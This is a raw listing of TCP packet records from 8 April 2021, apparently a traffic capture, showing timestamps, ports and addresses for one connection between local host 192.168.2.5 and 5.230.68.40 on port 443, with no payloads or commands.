Apr 8, 2021 18:46:40.342771053 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.342818022 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.342825890 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.342859983 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.342892885 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.342912912 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.342925072 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.342942953 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.342958927 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.342978001 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.343009949 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.343048096 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.343063116 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.343092918 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.343092918 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.343132973 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.343178988 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.343185902 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.343214989 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.343223095 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.343239069 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.343260050 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.343271971 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.343292952 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.343317032 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.343326092 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.343343019 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.343360901 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.343393087 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.343410969 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.343425989 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.343440056 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.343457937 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.343471050 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.343498945 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.343518019 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.343534946 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.343547106 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.343568087 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.343591928 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.343592882 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.343624115 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.343648911 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.347593069 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.368697882 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.368741035 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.368769884 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.368793964 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.368813992 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.368835926 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.368865013 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.368872881 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.368872881 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.368906975 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.368932962 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.369095087 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.369132996 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.369162083 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.369189978 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.369215965 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.369244099 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.369276047 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.369313955 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.369326115 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.369347095 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.369362116 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.369374990 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.369395018 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.369426012 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.369429111 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.369469881 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.369499922 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.369518042 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.369537115 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.369549036 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.369579077 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.369579077 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.369615078 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.369643927 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.369659901 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.369685888 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.369690895 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.369724989 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.369755983 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.369781017 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.369782925 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.369812965 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.369815111 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.369843960 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.369863033 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.369880915 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.369920969 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.369961977 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.369972944 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.369997978 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.370012999 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.370035887 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.370037079 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.370064974 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.370105028 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.370112896 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.370136976 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.370174885 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.370184898 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.370204926 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.370239019 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.370254040 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.370286942 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.370321035 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.370338917 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.370476007 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.370516062 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.370528936 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.370548010 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.370568991 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.370598078 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.370650053 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.372478008 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.375461102 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.393970966 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.394013882 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.394062996 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.394098043 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.394258022 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.394293070 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.394309998 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.394316912 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.394359112 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.394380093 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.394401073 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.394423008 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.394444942 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.394454002 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.394512892 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.394546986 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.394620895 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.394695044 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.394711971 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.394747972 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.394768000 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.395183086 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.395200968 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.395216942 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.395262957 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.395267010 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.395323038 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.395375013 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.395431995 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.395519972 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.395539045 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.395570040 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.395586014 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.395921946 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.395939112 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.395956039 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.395972013 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.395987988 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.396006107 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.396009922 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.396022081 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.396029949 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.396047115 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.396061897 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.396063089 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.396080017 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.396095991 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.396107912 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.396147013 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.396167040 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.396183968 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.396199942 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.396215916 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.396219969 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.396234035 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.396250010 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.396254063 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.396277905 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.396285057 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.396301985 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.396323919 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.396330118 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.396342993 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.396373987 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.396384001 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.396394968 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.396410942 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.396431923 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.396754026 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.396771908 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.396787882 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.396806955 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.396821976 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.396825075 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.396841049 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.396842003 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.396864891 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.396871090 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.396887064 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.396893024 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.396948099 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.396970987 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.396981001 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.397084951 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.397141933 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.397423029 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.397444010 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.397488117 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.397499084 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.397526026 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.398154020 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.398209095 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.398231030 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.398253918 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.398279905 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.398298025 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.398298979 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.398322105 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.398467064 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.398488998 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.398511887 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.398524046 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.398534060 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.398545027 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.398578882 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.398583889 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.398602962 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.398623943 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.398644924 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.398650885 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.398690939 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.398741007 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.398761988 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.398783922 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.398801088 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.398818016 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.398859978 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.398879051 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.398880005 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.398910046 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.398911953 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.398931980 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.398976088 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.399084091 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.399101973 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.399148941 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.399149895 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.399168968 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.399184942 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.399200916 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.399214029 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.399216890 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.399230957 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.399235010 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.399266005 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.399337053 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.399414062 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.399430990 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.399446964 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.399463892 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.399482965 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.399483919 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.399502993 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.399513006 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.399518967 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.399535894 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.399558067 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.399589062 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.399672985 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.399691105 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.399707079 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.399723053 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.399738073 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.399761915 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.399784088 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.400633097 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.409356117 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.409463882 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.409595013 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.409651995 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.409679890 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.409722090 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.413295031 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.413374901 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.413495064 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.413527012 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.413556099 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.413614035 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.413615942 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.413669109 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.413721085 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.413724899 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.413777113 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.413834095 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.413837910 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.413888931 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.413891077 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.413942099 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.413947105 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.414005995 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.414051056 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.414067030 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.414098024 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.433778048 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.433878899 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.433896065 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.433943987 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.434037924 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.434086084 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.434103012 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.434127092 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.434155941 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.434173107 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.434181929 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.434199095 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.434230089 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.434251070 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.434431076 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.434449911 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.434499979 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.434515953 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.434518099 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.434544086 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.434562922 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.434587002 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.434601068 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.434617996 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.434657097 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.434659004 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.434678078 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.434714079 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.434743881 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.434762001 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.434772015 CEST	49727	443	192.168.2.5	5.230.68.40
